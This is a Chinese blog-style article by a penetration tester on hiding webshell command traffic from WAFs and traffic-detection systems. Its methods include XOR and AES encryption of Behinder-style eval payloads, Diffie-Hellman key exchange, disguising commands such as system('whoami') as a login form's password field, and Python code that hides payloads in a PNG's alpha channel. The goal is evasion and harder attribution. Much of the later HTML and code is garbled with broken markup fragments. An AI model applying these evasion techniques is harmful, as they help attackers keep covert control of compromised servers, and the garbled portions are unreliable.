0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

淺談幾種繞過流量檢測(cè)的方法

冬至配餃子 ? 來源:安全街 ? 作者:anioner ? 2023-05-22 17:42 ? 次閱讀

近幾年做滲透測(cè)試的時(shí)候總是遇到流量特征太明顯而被攔截甚至封IP的情況,每次都要耗半天勁去想辦法,甚至嘗試過改造蟻劍的編碼器,奈何NodeJS的功底太差(甚者可以說不會(huì))寫到一半就爛尾了。于是就開始自己用Python寫了個(gè)簡(jiǎn)單WebShell管理器來繞過流量檢測(cè),當(dāng)然這東西都是后話,這個(gè)文章主要還是為分享一下自己的一些繞過思路。

前言:

  1. 本文大概3000字,請(qǐng)合理分配閱讀時(shí)間。
  2. 本文中的代碼為了用來演示而寫的,不代表最后的成品腳本。
  3. 此文中的所有方法以客戶端和服務(wù)器中間的WAF不知道服務(wù)器上Web Shell的文件內(nèi)容為前提。
  4. 此文當(dāng)中默認(rèn)當(dāng)web shel是免殺,所以不考慮shell被殺的問題。

一、編碼

編碼是最常見的繞過方式,像蟻劍這種就是使用編碼的典型工具。常見的編碼也就是base64URL、Hex、Unicode之類的了,所以編碼這塊兒本文不再過多闡述。

二、加密

加密也是常用的繞過流量檢測(cè)的方法,比如冰蝎、哥斯拉這兩個(gè)web shell管理工具就是使用加密來繞過流量檢測(cè)(雖然說現(xiàn)在會(huì)被攔截了,但是剛發(fā)布的時(shí)候是還是很穩(wěn)的)。常用的加密方式一般是XOR、AES等對(duì)稱加密方式(這里暫時(shí)不考慮RSA這種非對(duì)稱加密,這東西簡(jiǎn)直是bug一般的存在)。這種對(duì)稱加密有個(gè)很大的弊端:

  1. 動(dòng)態(tài)的密鑰會(huì)在HTTP包里泄露。
  2. 靜態(tài)密鑰容易被機(jī)器學(xué)會(huì)特征。

1、動(dòng)態(tài)的密鑰會(huì)在HTTP包里泄露

以冰蝎的動(dòng)態(tài)密鑰為例:

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=s9e7ldh4sogigtbuq4u8hqnr14; path=/
Connection: close
Content-Type: text/html
Content-Length: 16

3f2a8ede95042ddc

這個(gè)是第一次請(qǐng)求時(shí)交換的密鑰,之后就會(huì)以3f2a8ede95042ddc來進(jìn)行加解密,如下面這個(gè)POST

圖片

冰蝎的響應(yīng)信息

3f2a8ede95042ddc解密得到:

圖片

解密冰蝎的響應(yīng)信息

所以通過這個(gè)例子可以看到密鑰是泄露在HTTP包里的。

2、靜態(tài)密鑰容易被機(jī)器學(xué)會(huì)特征

在使用一些對(duì)稱加密算法會(huì)因?yàn)槊艽a和前幾個(gè)字節(jié)是固定的,導(dǎo)致加密后前幾個(gè)字符也一直是固定的(部分編碼也有這個(gè)特征),從而會(huì)被WAF給學(xué)會(huì)特征來攔截。以XORAES-ECB來舉例:

import random
import string
from Crypto.Cipher import AES

key = 'this_is_key!!!!!'     # 用感嘆號(hào)填充到16個(gè)字符,方便加密
regular_data = "assert|eval(base64_decode('%s'))"  # 以冰蝎的payload為例

def random_char(num):
    return ''.join(random.choices(string.ascii_letters, k=num))

def xor(text: str, key: str):
    result = ''
    for i in range(max(len(text), len(key))):
      result += chr(ord(text[i % len(text)]) ^ ord(key[i % len(key)]))
    return result

def aes_encrypt(text: str, key: str):
    aes = AES.new(key.encode(), AES.MODE_ECB)
    return aes.encrypt(text.encode())

for i in range(10):
    print(xor(regular_data % random_char(10), key).encode())
for i in range(10):
    print(aes_encrypt(regular_data % random_char(16 - (len(regular_data) - 2 + 10) % 16 + 10), key))

# XOR加密
# b'-:	C@RDB\\6:
;M^mLl{q;+
NZv'
# b'-:	C@RDB\\6:
;M^@vk[S?NZv'
# b"-:	C@RDB\\6:
;M^PfLIF8-;'8NZv"
# b'-:	C@RDB\\6:
;M^plBr{	%NZv'
# b"-:	C@RDB\\6:
;M^ictci'NZv"
# b'-:	C@RDB\\6:
;M^kljxT5NZv'
# b'-:	C@RDB\\6:
;M^I{vBH!NZv'
# b'-:	C@RDB\\6:
;M^uJ@NR+;
NZv'
# b'-:	C@RDB\\6:
;M^gmDXl /
-NZv'
# b'-:	C@RDB\\6:
;M^MkvTm?

如上面的代碼所示,可以看到不論是XOR還是AES加密,因?yàn)槊荑€和明文的前幾個(gè)字符是固定的(AES要求一組為16字節(jié),所以最少要16個(gè)字符是固定的才行,當(dāng)然并不是所有的模式都這樣,比如AES-CBC就不會(huì)),最后導(dǎo)致的就是前幾個(gè)密文每次都一樣,很容易被機(jī)器學(xué)習(xí)給學(xué)會(huì)特征

3、怎么辦呢?

其實(shí)解決方法不難,那就是大名鼎鼎的Diffe-Hellman算法,這個(gè)算法一般用在密鑰交換上,剛好可以用在這里。具體的算法如下圖所示

圖片

Diff-Hellman算法原理圖

其中:a、bp都是素?cái)?shù),g任意。用代碼嘗試一下

import random

a = 13
b = 11
p = 7
g = random.randint(10, 20)
A = g ** a % p
B = g ** b % p
print(A ** b % p == B ** a % p)
# True

所以在實(shí)戰(zhàn)環(huán)境中,服務(wù)端可以通過第一次請(qǐng)求獲得的gp、A來計(jì)算出K然后存到session當(dāng)中并返回自己的B,這樣不僅可以在后續(xù)的請(qǐng)求中直接使用K來進(jìn)行加密通信而不被WAF發(fā)現(xiàn)的同時(shí)還可以隨時(shí)更換密鑰。

三、混淆

混淆也是躲避流量檢測(cè)設(shè)備的有利方法之一,其鼻祖?zhèn)€人認(rèn)為應(yīng)該是ShadowSocksR了,它的混淆模式方便了許多人上網(wǎng)。至于SSR具體的原理這里先開個(gè)坑,若想了解可以上網(wǎng)搜索。在實(shí)際環(huán)境中使用加密是為了防止中間人截獲我們?cè)嫉?code>payload,雖然加密也能起到繞過流量檢測(cè)設(shè)備的作用,但有時(shí)候也可能會(huì)因?yàn)轭l繁請(qǐng)求而被識(shí)別為惡意流量,這時(shí)候就需要將我們加密后的(或原始的)payload進(jìn)行混淆來防止被流量檢測(cè)設(shè)備識(shí)別。

1、根據(jù)網(wǎng)站原始頁面進(jìn)行流量仿造

一般網(wǎng)站正常情況下不是返回HTML和圖片就是返回JSONXML(使用JS進(jìn)行自加密發(fā)送的情況不考慮),所以可以提前定義好請(qǐng)求信息和響應(yīng)信息,在后續(xù)的請(qǐng)求中按照格式去請(qǐng)求。舉個(gè)例子,以登錄頁面為例,加入登錄頁面有一個(gè)登錄接口POSTusernamepassword,并且返回信息是一段HTML,則可以將Web Shell偽裝成這個(gè)接口。則理想的請(qǐng)求信息應(yīng)該如下:

請(qǐng)求信息:

POST /shell.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html
Connection: close

username=admin&password=assert%7Ceval%28%27system%28%22whoami%22%29%27%29&submit=%E7%99%BB%E9%99%86

響應(yīng)信息:

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html


  
    "/static/js/jquery.js"span>><span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>script>
    <title>登錄<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>title>
  <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>head>
  <body>
    <div <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-control"span>>
      <p <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-error"span>>NT AUTHORITYSYSTEM<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>p>
      <form <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-block"span> action=<span class="hljs-string">"/shell.php"span> method=<span class="hljs-string">"post"span>>
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"text"span> name=<span class="hljs-string">"username"span> />
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"password"span> name=<span class="hljs-string">"password"span> />
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"submit"span> name=<span class="hljs-string">"submit"span> value=<span class="hljs-string">"登錄"span> />
      <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>form>
    <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>div>
  <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>body>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>html>
span><span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>根據(jù)上面的請(qǐng)求信息和響應(yīng)信息,不難看出<code>shellcode>的鏈接密碼是<code>passwordcode>,而返回的結(jié)果是p>
<p><code>NT AUTHORITYSYSTEMcode>p>
<p>,也就是包裹在了原來本應(yīng)該顯示錯(cuò)誤信息的地方,這樣就做到了上面說到的仿造正常頁面。p>
<h3>2、隱寫h3>
<p>隱寫是我在<code>CTFcode>當(dāng)中經(jīng)常遇到的東西,可以利用其思路將<code>payloadcode>的每個(gè)字符寫入到圖片的每個(gè)字符當(dāng)中,其中需要處理的問題是如果<code>payloadcode>不夠長(zhǎng)會(huì)填不滿圖片或者<code>payloadcode>過長(zhǎng)導(dǎo)致圖片不夠?qū)?。后面的情況可以通過更換更大的圖片來變?yōu)榈谝环N情況。p>
<p>而第一種情況則需要填充,我個(gè)人偏向于先將<code>payloadcode>使用<code>base64code>編碼,消除掉不可見字符,然后再使用不可見字符(如<code>?code>、<code>?code>等),服務(wù)端獲取后直接剔除不可見字符再<code>base64code>解碼即可。p>
<p>以本公眾號(hào)的<code>logocode>為例,通過<code>PILcode>庫可以將<code>payloadcode>寫入到圖片的每個(gè)像素中的<code>alphacode>通道中,也就是透明度。p>
<blockquote>
<p>一個(gè)使用16位存儲(chǔ)的圖片,5位表示紅色,5位表示綠色,5位表示藍(lán)色,1位是阿爾法。在這種情況下,Alpha值只能為0或1,要么透明,要么不透明;p>
<p>一個(gè)使用32位存儲(chǔ)的圖片,每8位表示紅綠藍(lán)和阿爾法通道。在這種情況下,Alpha通道不只可以表示透明還是不透明,還可以表示256種不同的透明度。p>
blockquote>
<p>所以我們這里用32位存儲(chǔ)的圖片。代碼如下:p>
<pre><code style="max-height:784px;" class="hljs python vditor-linenumber"><span class="hljs-keyword">fromspan> PIL <span class="hljs-keyword">importspan> Image

payload = <span class="hljs-string">'aseert|eval('system("whoami")')'span> + <span class="hljs-string">';'span> * (<span class="hljs-number">1200span> * <span class="hljs-number">1000span>)  <span class="hljs-comment"># 填充臟數(shù)據(jù),只為了演示span>
image = <span class="hljs-string">'logo.png'span>

img = Image.<span class="hljs-built_in">openspan>(image)
img = img.convert(<span class="hljs-string">'RGBA'span>)
x, y = img.size

<span class="hljs-comment"># 確保圖片的像素點(diǎn)放得下payloadspan>
<span class="hljs-keyword">assertspan> x * y >= <span class="hljs-built_in">lenspan>(payload)

<span class="hljs-comment"># 填充payload到圖片像素點(diǎn)的數(shù)量span>
payload = payload + <span class="hljs-string">'?'span> * (x * y - <span class="hljs-built_in">lenspan>(payload))

<span class="hljs-keyword">forspan> i <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(x):
    <span class="hljs-keyword">forspan> j <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(y):
        color = img.getpixel((i, j))
        new_color = color[:-<span class="hljs-number">1span>] + (<span class="hljs-built_in">ordspan>(payload[i * x + j]), )
        img.putpixel((i, j), new_color)
img.show()
img.save(<span class="hljs-string">'anioner.png'span>)
<span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>這個(gè)代碼即可做到將字符串隱寫到圖片當(dāng)中,效果如下:p>
<p><img src="http://file1.elecfans.com/web2/M00/88/88/wKgaomRrOImARDe5AACE5MOqCZU586.jpg" alt="圖片" />p>
<p>右側(cè)為原始圖片,左側(cè)為隱寫后的圖片p>
<p>如何解密呢?那就是反向操作把<code>RGBAcode>取出來然后把<code>Acode>轉(zhuǎn)成字符串即可。p>
<h2>總結(jié)h2>
<p>實(shí)際上,上面的那些繞過方式還是有問題的,這里列舉一些各自的優(yōu)缺點(diǎn)。p>
<ol><li><code>Diffe-Hellmancode>算法
<ol><li>優(yōu)點(diǎn):<br />
1、能夠有效防止中間人獲取到密鑰從而解密流量li>
<li>缺點(diǎn):<br />
1、那些素?cái)?shù)過小時(shí)會(huì)導(dǎo)致很容易就被爆破出來密鑰<br />
2、如果素?cái)?shù)過大(哪怕是3位整數(shù))會(huì)導(dǎo)致整型溢出而計(jì)算錯(cuò)誤<br />
3、需要額外一次請(qǐng)求來獲取密鑰,增加了特征li>
ol>li>
<li>頁面仿造
<ol><li>優(yōu)點(diǎn):<br />
1、增加判斷難度,尤其是在配合了加密后<br />
2、管理員的溯源難度增加那么一丟丟li>
<li>缺點(diǎn):<br />
1、過多的增加了原來的數(shù)據(jù)大小,網(wǎng)絡(luò)環(huán)境差時(shí)會(huì)導(dǎo)致傳輸很慢的問題<br />
2、若原始的<code>payloadcode>未進(jìn)行加密或編碼依然會(huì)被檢測(cè)出特征li>
ol>li>
<li>圖片隱寫
<ol><li>優(yōu)點(diǎn):<br />
1、無法肉眼判斷<br />
2、很少有<code>WAFcode>檢測(cè)圖片<br />
3、隨時(shí)可以更換隱寫載體,如視頻音頻li>
<li>缺點(diǎn):<br />
1、數(shù)據(jù)長(zhǎng)度較原始<code>payloadcode>增大了很多<br />
2、頻繁的<code>POSTcode>圖片也是一個(gè)特征<br />
3、容易被提取,需要加密li>
ol>li>
ol><p>其實(shí)繞過流量檢測(cè)設(shè)備的方法很多,上面列舉的只是我自己一堆想法中的幾個(gè),個(gè)人認(rèn)為其中的<code>Diffe-Hellmancode>算法在解決了額外的一次請(qǐng)求之后應(yīng)該是很無敵的存在。p>
div>
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 編碼器
    +關(guān)注

    關(guān)注

    44

    文章

    3552

    瀏覽量

    133785
  • URL
    URL
    +關(guān)注

    關(guān)注

    0

    文章

    138

    瀏覽量

    15272
  • RSA
    RSA
    +關(guān)注

    關(guān)注

    0

    文章

    59

    瀏覽量

    18837
  • python
    +關(guān)注

    關(guān)注

    54

    文章

    4756

    瀏覽量

    84284
收藏 人收藏

    評(píng)論

    相關(guān)推薦

    電容器好壞的幾種常見簡(jiǎn)單檢測(cè)方法

    電容器既是最常用的電器元件。也是容易損壞的電器元件,在沒有特殊儀表儀器的情況下檢測(cè)電容器的好壞,可用以幾種方法: 1、萬用表檢測(cè)法;2、熔斷器簡(jiǎn)易檢測(cè)法;3、白熾燈泡和電容器串聯(lián)
    發(fā)表于 06-24 14:50 ?9.3w次閱讀

    渦街流量計(jì)如何檢測(cè)流量

      很多業(yè)主在使用渦街流量計(jì)會(huì)偶爾遇到渦街流量計(jì)沒有流量顯示,針對(duì)這種情況小編給出以下幾點(diǎn)處理方法:  1、確認(rèn)渦街流量計(jì)是否接入電源,檢查
    發(fā)表于 01-05 16:18

    儀器儀表的檢測(cè)方法有哪幾種?

    本文介紹了幾種儀器儀表的檢測(cè)方法。
    發(fā)表于 05-08 08:06

    電網(wǎng)諧波的傳統(tǒng)檢測(cè)方法有哪幾種?

    電網(wǎng)諧波的傳統(tǒng)檢測(cè)方法有哪幾種?基于神經(jīng)網(wǎng)絡(luò)的有源電力濾波器應(yīng)用研究
    發(fā)表于 05-13 07:03

    幾種插入式流量計(jì)a系數(shù)計(jì)算方法的探討

    摘要:簡(jiǎn)介了點(diǎn)流速計(jì)型插入式流量計(jì)的結(jié)構(gòu)與測(cè)量原理,重點(diǎn)探討了在儀表系數(shù)K的計(jì)算修正中最重要的速度分布系數(shù)a的幾種計(jì)算方法及特點(diǎn)。類健詢插人式流量計(jì)儀表系數(shù)K a
    發(fā)表于 01-22 18:29 ?16次下載

    幾種元件的檢測(cè)方法

    幾種元件的檢測(cè)方法 一、駐極體話筒靈敏度檢測(cè)在收錄機(jī)、電話機(jī)等電器中廣泛應(yīng)用的駐極體話筒,其靈敏度直接影響送話和錄放效果。這類話
    發(fā)表于 01-13 11:20 ?1346次閱讀

    常用的幾種管道檢測(cè)方法

    常用的幾種管道檢測(cè)方法  管道運(yùn)輸是石油、天然氣運(yùn)輸采用的主要方式。目前,在我國(guó)近70%的原油、100%的天然氣是通過管道來進(jìn)行運(yùn)輸
    發(fā)表于 03-20 11:50 ?1w次閱讀

    電容器好壞的幾種常見簡(jiǎn)單檢測(cè)方法

    電容器好壞的幾種常見簡(jiǎn)單檢測(cè)方法,感興趣的小伙伴們可以瞧一瞧。
    發(fā)表于 10-26 17:02 ?0次下載

    了解幾種集成電路的代換與檢測(cè)方法

    了解幾種集成電路的代換與檢測(cè)方法
    發(fā)表于 12-15 18:25 ?10次下載

    常用幾種無損探傷儀檢測(cè)方法介紹

    常用幾種無損探傷儀檢測(cè)方法介紹
    發(fā)表于 02-07 16:15 ?14次下載

    基于ME-PGNMF的異常流量檢測(cè)方法

    由于部分網(wǎng)絡(luò)異常對(duì)流量變化影響不明顯,流量分析難以發(fā)現(xiàn)此類異常。傳統(tǒng)基于主成分分析的網(wǎng)絡(luò)異常流量檢測(cè)方法追求全局最優(yōu)解,對(duì)局部特征提取不充分
    發(fā)表于 01-17 17:19 ?0次下載
    基于ME-PGNMF的異常<b class='flag-5'>流量</b><b class='flag-5'>檢測(cè)</b><b class='flag-5'>方法</b>

    一種改進(jìn)的加密惡意流量檢測(cè)方法

    SSL/TLS協(xié)議的惡意流量檢測(cè)數(shù)據(jù)集來源單一,而傳統(tǒng)檢測(cè)方法通常將網(wǎng)絡(luò)流量的五元組特征作為主要分類特征,但其在復(fù)雜網(wǎng)絡(luò)環(huán)境下對(duì)于惡意
    發(fā)表于 03-17 14:08 ?13次下載
    一種改進(jìn)的加密惡意<b class='flag-5'>流量</b><b class='flag-5'>檢測(cè)</b><b class='flag-5'>方法</b>

    PCB檢測(cè)幾種常見方法

    PCB檢測(cè)用以提高產(chǎn)品生產(chǎn)良率的幾種檢查方法
    的頭像 發(fā)表于 07-15 14:15 ?5462次閱讀

    繞過kernel模塊版本校驗(yàn)檢測(cè)

    繞過kernel模塊版本校驗(yàn)檢測(cè)
    發(fā)表于 10-28 11:07 ?0次下載

    幾種常見的電源檢測(cè)方法

    BOSHIDA模塊電源 幾種常見的電源檢測(cè)方法 電流測(cè)量的方法有很多種,每種方法適用不同的場(chǎng)合,每種方法
    的頭像 發(fā)表于 04-18 09:17 ?2896次閱讀